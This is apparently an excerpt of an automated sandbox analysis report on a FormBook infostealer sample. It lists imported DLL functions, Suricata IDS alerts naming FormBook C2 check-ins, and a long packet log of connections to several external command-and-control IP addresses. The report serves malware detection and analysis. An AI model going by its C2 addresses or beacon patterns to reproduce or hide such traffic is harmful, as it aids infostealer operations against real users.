OLEAUT32.dll	SafeArrayAllocData, SafeArrayAllocDescriptorEx, SysAllocString, OleLoadPicture, SafeArrayGetVartype, SafeArrayDestroyData, SafeArrayAccessData, VarR8FromDec, VariantTimeToSystemTime, VariantClear, VariantCopy, VariantInit, SafeArrayDestroyDescriptor, LoadRegTypeLib, GetActiveObject, SafeArrayUnaccessData

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	Great Britain
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-10T16:23:49.467410+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.5	49757	3.33.130.190	80	TCP
2024-12-10T16:23:49.467410+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.5	49757	3.33.130.190	80	TCP
2024-12-10T16:24:01.517330+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49796	180.178.39.236	80	TCP
2024-12-10T16:24:04.236517+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49802	180.178.39.236	80	TCP
2024-12-10T16:24:06.935287+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49808	180.178.39.236	80	TCP
2024-12-10T16:24:09.611947+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.5	49816	180.178.39.236	80	TCP
2024-12-10T16:24:09.611947+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.5	49816	180.178.39.236	80	TCP
2024-12-10T16:24:16.446620+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49833	203.161.49.193	80	TCP
2024-12-10T16:24:19.126391+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49839	203.161.49.193	80	TCP
2024-12-10T16:24:21.845643+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49845	203.161.49.193	80	TCP
2024-12-10T16:24:24.436750+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.5	49854	203.161.49.193	80	TCP
2024-12-10T16:24:24.436750+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.5	49854	203.161.49.193	80	TCP
2024-12-10T16:24:31.925227+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49872	217.160.0.132	80	TCP
2024-12-10T16:24:34.584290+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49878	217.160.0.132	80	TCP
2024-12-10T16:24:37.361408+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49884	217.160.0.132	80	TCP
2024-12-10T16:24:39.938824+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.5	49894	217.160.0.132	80	TCP
2024-12-10T16:24:39.938824+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.5	49894	217.160.0.132	80	TCP
2024-12-10T16:24:47.192472+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49911	216.40.34.41	80	TCP
2024-12-10T16:24:49.853751+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49917	216.40.34.41	80	TCP
2024-12-10T16:24:52.581039+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49923	216.40.34.41	80	TCP
2024-12-10T16:24:55.167018+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.5	49934	216.40.34.41	80	TCP
2024-12-10T16:24:55.167018+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.5	49934	216.40.34.41	80	TCP
2024-12-10T16:25:02.442109+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49945	3.33.130.190	80	TCP
2024-12-10T16:25:04.697169+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49955	3.33.130.190	80	TCP
2024-12-10T16:25:07.348123+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49961	3.33.130.190	80	TCP
2024-12-10T16:25:19.189090+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.5	49968	3.33.130.190	80	TCP
2024-12-10T16:25:19.189090+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.5	49968	3.33.130.190	80	TCP
2024-12-10T16:25:26.302171+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49995	46.38.243.234	80	TCP
2024-12-10T16:25:28.958390+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49996	46.38.243.234	80	TCP
2024-12-10T16:25:31.613836+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49997	46.38.243.234	80	TCP
2024-12-10T16:25:40.784275+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.5	49998	46.38.243.234	80	TCP
2024-12-10T16:25:40.784275+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.5	49998	46.38.243.234	80	TCP
2024-12-10T16:25:48.568365+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49999	74.48.34.43	80	TCP
2024-12-10T16:25:51.223207+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	50000	74.48.34.43	80	TCP
2024-12-10T16:25:53.879832+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	50001	74.48.34.43	80	TCP
2024-12-10T16:25:56.550295+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.5	50002	74.48.34.43	80	TCP
2024-12-10T16:25:56.550295+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.5	50002	74.48.34.43	80	TCP
2024-12-10T16:26:04.340359+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	50003	23.167.152.41	80	TCP
2024-12-10T16:26:06.996278+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	50004	23.167.152.41	80	TCP
2024-12-10T16:26:09.658023+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	50005	23.167.152.41	80	TCP
2024-12-10T16:26:12.510591+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.5	50006	23.167.152.41	80	TCP
2024-12-10T16:26:12.510591+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.5	50006	23.167.152.41	80	TCP
2024-12-10T16:26:19.926376+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	50007	178.79.184.196	80	TCP
2024-12-10T16:26:22.600329+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	50008	178.79.184.196	80	TCP
2024-12-10T16:26:25.254544+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	50009	178.79.184.196	80	TCP
2024-12-10T16:26:32.876349+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.5	50010	178.79.184.196	80	TCP
2024-12-10T16:26:32.876349+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.5	50010	178.79.184.196	80	TCP
2024-12-10T16:26:40.406312+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	50011	45.79.252.94	80	TCP
2024-12-10T16:26:43.018497+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	50012	45.79.252.94	80	TCP
2024-12-10T16:26:45.676025+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	50013	45.79.252.94	80	TCP
2024-12-10T16:26:48.335378+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.5	50014	45.79.252.94	80	TCP
2024-12-10T16:26:48.335378+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.5	50014	45.79.252.94	80	TCP
2024-12-10T16:27:03.926117+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	50015	31.31.198.145	80	TCP
2024-12-10T16:27:07.551628+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	50016	31.31.198.145	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 10, 2024 16:23:43.239670992 CET	49757	80	192.168.2.5	3.33.130.190
Dec 10, 2024 16:23:43.359101057 CET	80	49757	3.33.130.190	192.168.2.5
Dec 10, 2024 16:23:43.359191895 CET	49757	80	192.168.2.5	3.33.130.190
Dec 10, 2024 16:23:43.367466927 CET	49757	80	192.168.2.5	3.33.130.190
Dec 10, 2024 16:23:43.486758947 CET	80	49757	3.33.130.190	192.168.2.5
Dec 10, 2024 16:23:49.466730118 CET	80	49757	3.33.130.190	192.168.2.5
Dec 10, 2024 16:23:49.467267036 CET	80	49757	3.33.130.190	192.168.2.5
Dec 10, 2024 16:23:49.467410088 CET	49757	80	192.168.2.5	3.33.130.190
Dec 10, 2024 16:23:49.513734102 CET	49757	80	192.168.2.5	3.33.130.190
Dec 10, 2024 16:23:49.633032084 CET	80	49757	3.33.130.190	192.168.2.5
Dec 10, 2024 16:23:59.875107050 CET	49796	80	192.168.2.5	180.178.39.236
Dec 10, 2024 16:23:59.995091915 CET	80	49796	180.178.39.236	192.168.2.5
Dec 10, 2024 16:23:59.998097897 CET	49796	80	192.168.2.5	180.178.39.236
Dec 10, 2024 16:24:00.074867010 CET	49796	80	192.168.2.5	180.178.39.236
Dec 10, 2024 16:24:00.194633961 CET	80	49796	180.178.39.236	192.168.2.5
Dec 10, 2024 16:24:01.517070055 CET	80	49796	180.178.39.236	192.168.2.5
Dec 10, 2024 16:24:01.517251015 CET	80	49796	180.178.39.236	192.168.2.5
Dec 10, 2024 16:24:01.517329931 CET	49796	80	192.168.2.5	180.178.39.236
Dec 10, 2024 16:24:01.582484961 CET	49796	80	192.168.2.5	180.178.39.236
Dec 10, 2024 16:24:02.601067066 CET	49802	80	192.168.2.5	180.178.39.236
Dec 10, 2024 16:24:02.720427036 CET	80	49802	180.178.39.236	192.168.2.5
Dec 10, 2024 16:24:02.720557928 CET	49802	80	192.168.2.5	180.178.39.236
Dec 10, 2024 16:24:02.772902012 CET	49802	80	192.168.2.5	180.178.39.236
Dec 10, 2024 16:24:02.893203974 CET	80	49802	180.178.39.236	192.168.2.5
Dec 10, 2024 16:24:04.236289024 CET	80	49802	180.178.39.236	192.168.2.5
Dec 10, 2024 16:24:04.236464024 CET	80	49802	180.178.39.236	192.168.2.5
Dec 10, 2024 16:24:04.236516953 CET	49802	80	192.168.2.5	180.178.39.236
Dec 10, 2024 16:24:04.285783052 CET	49802	80	192.168.2.5	180.178.39.236
Dec 10, 2024 16:24:05.304431915 CET	49808	80	192.168.2.5	180.178.39.236
Dec 10, 2024 16:24:05.423806906 CET	80	49808	180.178.39.236	192.168.2.5
Dec 10, 2024 16:24:05.423943043 CET	49808	80	192.168.2.5	180.178.39.236
Dec 10, 2024 16:24:05.439795971 CET	49808	80	192.168.2.5	180.178.39.236
Dec 10, 2024 16:24:05.559232950 CET	80	49808	180.178.39.236	192.168.2.5
Dec 10, 2024 16:24:05.559274912 CET	80	49808	180.178.39.236	192.168.2.5
Dec 10, 2024 16:24:06.935085058 CET	80	49808	180.178.39.236	192.168.2.5
Dec 10, 2024 16:24:06.935237885 CET	80	49808	180.178.39.236	192.168.2.5
Dec 10, 2024 16:24:06.935286999 CET	49808	80	192.168.2.5	180.178.39.236
Dec 10, 2024 16:24:06.941821098 CET	49808	80	192.168.2.5	180.178.39.236
Dec 10, 2024 16:24:07.960479975 CET	49816	80	192.168.2.5	180.178.39.236
Dec 10, 2024 16:24:08.080162048 CET	80	49816	180.178.39.236	192.168.2.5
Dec 10, 2024 16:24:08.080256939 CET	49816	80	192.168.2.5	180.178.39.236
Dec 10, 2024 16:24:08.087457895 CET	49816	80	192.168.2.5	180.178.39.236
Dec 10, 2024 16:24:08.207720995 CET	80	49816	180.178.39.236	192.168.2.5
Dec 10, 2024 16:24:09.611648083 CET	80	49816	180.178.39.236	192.168.2.5
Dec 10, 2024 16:24:09.611891985 CET	80	49816	180.178.39.236	192.168.2.5
Dec 10, 2024 16:24:09.611947060 CET	49816	80	192.168.2.5	180.178.39.236
Dec 10, 2024 16:24:09.614856958 CET	49816	80	192.168.2.5	180.178.39.236
Dec 10, 2024 16:24:09.734793901 CET	80	49816	180.178.39.236	192.168.2.5
Dec 10, 2024 16:24:15.096611977 CET	49833	80	192.168.2.5	203.161.49.193
Dec 10, 2024 16:24:15.216079950 CET	80	49833	203.161.49.193	192.168.2.5
Dec 10, 2024 16:24:15.216176033 CET	49833	80	192.168.2.5	203.161.49.193
Dec 10, 2024 16:24:15.241458893 CET	49833	80	192.168.2.5	203.161.49.193
Dec 10, 2024 16:24:15.360949039 CET	80	49833	203.161.49.193	192.168.2.5
Dec 10, 2024 16:24:16.446311951 CET	80	49833	203.161.49.193	192.168.2.5
Dec 10, 2024 16:24:16.446536064 CET	80	49833	203.161.49.193	192.168.2.5
Dec 10, 2024 16:24:16.446619987 CET	49833	80	192.168.2.5	203.161.49.193
Dec 10, 2024 16:24:16.754376888 CET	49833	80	192.168.2.5	203.161.49.193
Dec 10, 2024 16:24:17.773263931 CET	49839	80	192.168.2.5	203.161.49.193
Dec 10, 2024 16:24:17.896581888 CET	80	49839	203.161.49.193	192.168.2.5
Dec 10, 2024 16:24:17.896718025 CET	49839	80	192.168.2.5	203.161.49.193
Dec 10, 2024 16:24:17.907798052 CET	49839	80	192.168.2.5	203.161.49.193
Dec 10, 2024 16:24:18.027374983 CET	80	49839	203.161.49.193	192.168.2.5
Dec 10, 2024 16:24:19.126084089 CET	80	49839	203.161.49.193	192.168.2.5
Dec 10, 2024 16:24:19.126315117 CET	80	49839	203.161.49.193	192.168.2.5
Dec 10, 2024 16:24:19.126390934 CET	49839	80	192.168.2.5	203.161.49.193
Dec 10, 2024 16:24:19.410645008 CET	49839	80	192.168.2.5	203.161.49.193
Dec 10, 2024 16:24:20.429920912 CET	49845	80	192.168.2.5	203.161.49.193
Dec 10, 2024 16:24:20.549226046 CET	80	49845	203.161.49.193	192.168.2.5
Dec 10, 2024 16:24:20.549362898 CET	49845	80	192.168.2.5	203.161.49.193
Dec 10, 2024 16:24:20.560628891 CET	49845	80	192.168.2.5	203.161.49.193
Dec 10, 2024 16:24:20.680042982 CET	80	49845	203.161.49.193	192.168.2.5
Dec 10, 2024 16:24:20.680147886 CET	80	49845	203.161.49.193	192.168.2.5
Dec 10, 2024 16:24:21.845319033 CET	80	49845	203.161.49.193	192.168.2.5
Dec 10, 2024 16:24:21.845525026 CET	80	49845	203.161.49.193	192.168.2.5
Dec 10, 2024 16:24:21.845643044 CET	49845	80	192.168.2.5	203.161.49.193
Dec 10, 2024 16:24:22.066912889 CET	49845	80	192.168.2.5	203.161.49.193
Dec 10, 2024 16:24:23.085788012 CET	49854	80	192.168.2.5	203.161.49.193
Dec 10, 2024 16:24:23.205331087 CET	80	49854	203.161.49.193	192.168.2.5
Dec 10, 2024 16:24:23.205461979 CET	49854	80	192.168.2.5	203.161.49.193
Dec 10, 2024 16:24:23.212694883 CET	49854	80	192.168.2.5	203.161.49.193
Dec 10, 2024 16:24:23.332088947 CET	80	49854	203.161.49.193	192.168.2.5
Dec 10, 2024 16:24:24.436480999 CET	80	49854	203.161.49.193	192.168.2.5
Dec 10, 2024 16:24:24.436696053 CET	80	49854	203.161.49.193	192.168.2.5
Dec 10, 2024 16:24:24.436749935 CET	49854	80	192.168.2.5	203.161.49.193
Dec 10, 2024 16:24:24.439675093 CET	49854	80	192.168.2.5	203.161.49.193
Dec 10, 2024 16:24:24.559180975 CET	80	49854	203.161.49.193	192.168.2.5
Dec 10, 2024 16:24:30.501216888 CET	49872	80	192.168.2.5	217.160.0.132
Dec 10, 2024 16:24:30.623291969 CET	80	49872	217.160.0.132	192.168.2.5
Dec 10, 2024 16:24:30.623379946 CET	49872	80	192.168.2.5	217.160.0.132
Dec 10, 2024 16:24:30.634263039 CET	49872	80	192.168.2.5	217.160.0.132
Dec 10, 2024 16:24:30.753628016 CET	80	49872	217.160.0.132	192.168.2.5
Dec 10, 2024 16:24:31.924860001 CET	80	49872	217.160.0.132	192.168.2.5
Dec 10, 2024 16:24:31.925151110 CET	80	49872	217.160.0.132	192.168.2.5
Dec 10, 2024 16:24:31.925226927 CET	49872	80	192.168.2.5	217.160.0.132
Dec 10, 2024 16:24:32.145005941 CET	49872	80	192.168.2.5	217.160.0.132
Dec 10, 2024 16:24:33.164098024 CET	49878	80	192.168.2.5	217.160.0.132
Dec 10, 2024 16:24:33.284461021 CET	80	49878	217.160.0.132	192.168.2.5
Dec 10, 2024 16:24:33.284631968 CET	49878	80	192.168.2.5	217.160.0.132
Dec 10, 2024 16:24:33.295638084 CET	49878	80	192.168.2.5	217.160.0.132
Dec 10, 2024 16:24:33.417248011 CET	80	49878	217.160.0.132	192.168.2.5
Dec 10, 2024 16:24:34.583764076 CET	80	49878	217.160.0.132	192.168.2.5
Dec 10, 2024 16:24:34.584109068 CET	80	49878	217.160.0.132	192.168.2.5
Dec 10, 2024 16:24:34.584290028 CET	49878	80	192.168.2.5	217.160.0.132
Dec 10, 2024 16:24:34.801357031 CET	49878	80	192.168.2.5	217.160.0.132
Dec 10, 2024 16:24:35.857105017 CET	49884	80	192.168.2.5	217.160.0.132
Dec 10, 2024 16:24:35.976696968 CET	80	49884	217.160.0.132	192.168.2.5
Dec 10, 2024 16:24:35.976778984 CET	49884	80	192.168.2.5	217.160.0.132
Dec 10, 2024 16:24:35.988241911 CET	49884	80	192.168.2.5	217.160.0.132
Dec 10, 2024 16:24:36.107713938 CET	80	49884	217.160.0.132	192.168.2.5
Dec 10, 2024 16:24:36.107825041 CET	80	49884	217.160.0.132	192.168.2.5
Dec 10, 2024 16:24:37.361088991 CET	80	49884	217.160.0.132	192.168.2.5
Dec 10, 2024 16:24:37.361345053 CET	80	49884	217.160.0.132	192.168.2.5
Dec 10, 2024 16:24:37.361407995 CET	49884	80	192.168.2.5	217.160.0.132
Dec 10, 2024 16:24:37.504436970 CET	49884	80	192.168.2.5	217.160.0.132
Dec 10, 2024 16:24:38.525901079 CET	49894	80	192.168.2.5	217.160.0.132
Dec 10, 2024 16:24:38.650489092 CET	80	49894	217.160.0.132	192.168.2.5
Dec 10, 2024 16:24:38.650592089 CET	49894	80	192.168.2.5	217.160.0.132
Dec 10, 2024 16:24:38.658546925 CET	49894	80	192.168.2.5	217.160.0.132
Dec 10, 2024 16:24:38.780348063 CET	80	49894	217.160.0.132	192.168.2.5
Dec 10, 2024 16:24:39.938147068 CET	80	49894	217.160.0.132	192.168.2.5
Dec 10, 2024 16:24:39.938679934 CET	80	49894	217.160.0.132	192.168.2.5
Dec 10, 2024 16:24:39.938823938 CET	49894	80	192.168.2.5	217.160.0.132
Dec 10, 2024 16:24:39.938865900 CET	80	49894	217.160.0.132	192.168.2.5
Dec 10, 2024 16:24:39.939116001 CET	49894	80	192.168.2.5	217.160.0.132
Dec 10, 2024 16:24:39.942086935 CET	49894	80	192.168.2.5	217.160.0.132
Dec 10, 2024 16:24:40.062746048 CET	80	49894	217.160.0.132	192.168.2.5
Dec 10, 2024 16:24:45.920759916 CET	49911	80	192.168.2.5	216.40.34.41
Dec 10, 2024 16:24:46.040824890 CET	80	49911	216.40.34.41	192.168.2.5
Dec 10, 2024 16:24:46.040966988 CET	49911	80	192.168.2.5	216.40.34.41
Dec 10, 2024 16:24:46.054102898 CET	49911	80	192.168.2.5	216.40.34.41
Dec 10, 2024 16:24:46.174791098 CET	80	49911	216.40.34.41	192.168.2.5
Dec 10, 2024 16:24:47.191873074 CET	80	49911	216.40.34.41	192.168.2.5
Dec 10, 2024 16:24:47.192409992 CET	80	49911	216.40.34.41	192.168.2.5
Dec 10, 2024 16:24:47.192423105 CET	80	49911	216.40.34.41	192.168.2.5
Dec 10, 2024 16:24:47.192471981 CET	49911	80	192.168.2.5	216.40.34.41
Dec 10, 2024 16:24:47.193926096 CET	80	49911	216.40.34.41	192.168.2.5
Dec 10, 2024 16:24:47.193939924 CET	80	49911	216.40.34.41	192.168.2.5
Dec 10, 2024 16:24:47.193970919 CET	49911	80	192.168.2.5	216.40.34.41
Dec 10, 2024 16:24:47.196099043 CET	80	49911	216.40.34.41	192.168.2.5
Dec 10, 2024 16:24:47.196110964 CET	80	49911	216.40.34.41	192.168.2.5
Dec 10, 2024 16:24:47.196146965 CET	49911	80	192.168.2.5	216.40.34.41
Dec 10, 2024 16:24:47.198530912 CET	80	49911	216.40.34.41	192.168.2.5
Dec 10, 2024 16:24:47.198549032 CET	80	49911	216.40.34.41	192.168.2.5
Dec 10, 2024 16:24:47.198576927 CET	49911	80	192.168.2.5	216.40.34.41
Dec 10, 2024 16:24:47.200855017 CET	80	49911	216.40.34.41	192.168.2.5
Dec 10, 2024 16:24:47.200928926 CET	49911	80	192.168.2.5	216.40.34.41
Dec 10, 2024 16:24:47.313241959 CET	80	49911	216.40.34.41	192.168.2.5
Dec 10, 2024 16:24:47.313757896 CET	80	49911	216.40.34.41	192.168.2.5
Dec 10, 2024 16:24:47.313817978 CET	49911	80	192.168.2.5	216.40.34.41
Dec 10, 2024 16:24:47.317476034 CET	80	49911	216.40.34.41	192.168.2.5
Dec 10, 2024 16:24:47.363698959 CET	49911	80	192.168.2.5	216.40.34.41
Dec 10, 2024 16:24:47.383873940 CET	80	49911	216.40.34.41	192.168.2.5
Dec 10, 2024 16:24:47.384399891 CET	80	49911	216.40.34.41	192.168.2.5
Dec 10, 2024 16:24:47.384458065 CET	49911	80	192.168.2.5	216.40.34.41
Dec 10, 2024 16:24:47.388067961 CET	80	49911	216.40.34.41	192.168.2.5
Dec 10, 2024 16:24:47.389267921 CET	80	49911	216.40.34.41	192.168.2.5
Dec 10, 2024 16:24:47.389355898 CET	49911	80	192.168.2.5	216.40.34.41
Dec 10, 2024 16:24:47.566924095 CET	49911	80	192.168.2.5	216.40.34.41
Dec 10, 2024 16:24:48.585500002 CET	49917	80	192.168.2.5	216.40.34.41
Dec 10, 2024 16:24:48.704879999 CET	80	49917	216.40.34.41	192.168.2.5
Dec 10, 2024 16:24:48.704996109 CET	49917	80	192.168.2.5	216.40.34.41
Dec 10, 2024 16:24:48.716372013 CET	49917	80	192.168.2.5	216.40.34.41
Dec 10, 2024 16:24:48.835966110 CET	80	49917	216.40.34.41	192.168.2.5
Dec 10, 2024 16:24:49.853225946 CET	80	49917	216.40.34.41	192.168.2.5
Dec 10, 2024 16:24:49.853595018 CET	80	49917	216.40.34.41	192.168.2.5
Dec 10, 2024 16:24:49.853606939 CET	80	49917	216.40.34.41	192.168.2.5
Dec 10, 2024 16:24:49.853750944 CET	49917	80	192.168.2.5	216.40.34.41
Dec 10, 2024 16:24:49.854933023 CET	80	49917	216.40.34.41	192.168.2.5
Dec 10, 2024 16:24:49.854944944 CET	80	49917	216.40.34.41	192.168.2.5
Dec 10, 2024 16:24:49.855151892 CET	49917	80	192.168.2.5	216.40.34.41
Dec 10, 2024 16:24:49.857290030 CET	80	49917	216.40.34.41	192.168.2.5
Dec 10, 2024 16:24:49.857301950 CET	80	49917	216.40.34.41	192.168.2.5
Dec 10, 2024 16:24:49.857378006 CET	49917	80	192.168.2.5	216.40.34.41
Dec 10, 2024 16:24:49.859184980 CET	80	49917	216.40.34.41	192.168.2.5
Dec 10, 2024 16:24:49.859204054 CET	80	49917	216.40.34.41	192.168.2.5
Dec 10, 2024 16:24:49.859304905 CET	49917	80	192.168.2.5	216.40.34.41
Dec 10, 2024 16:24:49.861547947 CET	80	49917	216.40.34.41	192.168.2.5
Dec 10, 2024 16:24:49.861643076 CET	49917	80	192.168.2.5	216.40.34.41
Dec 10, 2024 16:24:49.973323107 CET	80	49917	216.40.34.41	192.168.2.5
Dec 10, 2024 16:24:49.973762989 CET	80	49917	216.40.34.41	192.168.2.5
Dec 10, 2024 16:24:49.973834038 CET	49917	80	192.168.2.5	216.40.34.41
Dec 10, 2024 16:24:49.977407932 CET	80	49917	216.40.34.41	192.168.2.5
Dec 10, 2024 16:24:50.019942999 CET	49917	80	192.168.2.5	216.40.34.41
Dec 10, 2024 16:24:50.045284033 CET	80	49917	216.40.34.41	192.168.2.5
Dec 10, 2024 16:24:50.045783997 CET	80	49917	216.40.34.41	192.168.2.5
Dec 10, 2024 16:24:50.045847893 CET	49917	80	192.168.2.5	216.40.34.41
Dec 10, 2024 16:24:50.049329996 CET	80	49917	216.40.34.41	192.168.2.5
Dec 10, 2024 16:24:50.050548077 CET	80	49917	216.40.34.41	192.168.2.5
Dec 10, 2024 16:24:50.050879002 CET	49917	80	192.168.2.5	216.40.34.41
Dec 10, 2024 16:24:50.223110914 CET	49917	80	192.168.2.5	216.40.34.41
Dec 10, 2024 16:24:51.242950916 CET	49923	80	192.168.2.5	216.40.34.41
Dec 10, 2024 16:24:51.362663984 CET	80	49923	216.40.34.41	192.168.2.5
Dec 10, 2024 16:24:51.362746000 CET	49923	80	192.168.2.5	216.40.34.41
Dec 10, 2024 16:24:51.378676891 CET	49923	80	192.168.2.5	216.40.34.41
Dec 10, 2024 16:24:51.500056028 CET	80	49923	216.40.34.41	192.168.2.5
Dec 10, 2024 16:24:51.500087976 CET	80	49923	216.40.34.41	192.168.2.5
Dec 10, 2024 16:24:52.580269098 CET	80	49923	216.40.34.41	192.168.2.5
Dec 10, 2024 16:24:52.580873966 CET	80	49923	216.40.34.41	192.168.2.5
Dec 10, 2024 16:24:52.580885887 CET	80	49923	216.40.34.41	192.168.2.5
Dec 10, 2024 16:24:52.581038952 CET	49923	80	192.168.2.5	216.40.34.41
Dec 10, 2024 16:24:52.583044052 CET	80	49923	216.40.34.41	192.168.2.5
Dec 10, 2024 16:24:52.583056927 CET	80	49923	216.40.34.41	192.168.2.5
Dec 10, 2024 16:24:52.585361958 CET	80	49923	216.40.34.41	192.168.2.5
Dec 10, 2024 16:24:52.585374117 CET	80	49923	216.40.34.41	192.168.2.5
Dec 10, 2024 16:24:52.585562944 CET	49923	80	192.168.2.5	216.40.34.41
Dec 10, 2024 16:24:52.587795019 CET	80	49923	216.40.34.41	192.168.2.5
Dec 10, 2024 16:24:52.587806940 CET	80	49923	216.40.34.41	192.168.2.5
Dec 10, 2024 16:24:52.590200901 CET	49923	80	192.168.2.5	216.40.34.41
Dec 10, 2024 16:24:52.590471983 CET	80	49923	216.40.34.41	192.168.2.5
Dec 10, 2024 16:24:52.594161034 CET	49923	80	192.168.2.5	216.40.34.41
Dec 10, 2024 16:24:52.704040051 CET	80	49923	216.40.34.41	192.168.2.5
Dec 10, 2024 16:24:52.704963923 CET	80	49923	216.40.34.41	192.168.2.5
Dec 10, 2024 16:24:52.706207037 CET	49923	80	192.168.2.5	216.40.34.41
Dec 10, 2024 16:24:52.773725986 CET	80	49923	216.40.34.41	192.168.2.5
Dec 10, 2024 16:24:52.776273012 CET	80	49923	216.40.34.41	192.168.2.5
Dec 10, 2024 16:24:52.776330948 CET	49923	80	192.168.2.5	216.40.34.41
Dec 10, 2024 16:24:52.777674913 CET	80	49923	216.40.34.41	192.168.2.5
Dec 10, 2024 16:24:52.777686119 CET	80	49923	216.40.34.41	192.168.2.5
Dec 10, 2024 16:24:52.777735949 CET	49923	80	192.168.2.5	216.40.34.41
Dec 10, 2024 16:24:52.781819105 CET	80	49923	216.40.34.41	192.168.2.5
Dec 10, 2024 16:24:52.781898022 CET	49923	80	192.168.2.5	216.40.34.41
Dec 10, 2024 16:24:52.896323919 CET	49923	80	192.168.2.5	216.40.34.41
Dec 10, 2024 16:24:53.913645983 CET	49934	80	192.168.2.5	216.40.34.41
Dec 10, 2024 16:24:54.033539057 CET	80	49934	216.40.34.41	192.168.2.5
Dec 10, 2024 16:24:54.037209988 CET	49934	80	192.168.2.5	216.40.34.41
Dec 10, 2024 16:24:54.044536114 CET	49934	80	192.168.2.5	216.40.34.41
Dec 10, 2024 16:24:54.165134907 CET	80	49934	216.40.34.41	192.168.2.5
Dec 10, 2024 16:24:55.166249990 CET	80	49934	216.40.34.41	192.168.2.5
Dec 10, 2024 16:24:55.166932106 CET	80	49934	216.40.34.41	192.168.2.5
Dec 10, 2024 16:24:55.166944027 CET	80	49934	216.40.34.41	192.168.2.5
Dec 10, 2024 16:24:55.167017937 CET	49934	80	192.168.2.5	216.40.34.41
Dec 10, 2024 16:24:55.169370890 CET	80	49934	216.40.34.41	192.168.2.5
Dec 10, 2024 16:24:55.169384003 CET	80	49934	216.40.34.41	192.168.2.5
Dec 10, 2024 16:24:55.169409037 CET	49934	80	192.168.2.5	216.40.34.41
Dec 10, 2024 16:24:55.171355009 CET	80	49934	216.40.34.41	192.168.2.5
Dec 10, 2024 16:24:55.171366930 CET	80	49934	216.40.34.41	192.168.2.5
Dec 10, 2024 16:24:55.171407938 CET	49934	80	192.168.2.5	216.40.34.41
Dec 10, 2024 16:24:55.175462008 CET	49934	80	192.168.2.5	216.40.34.41
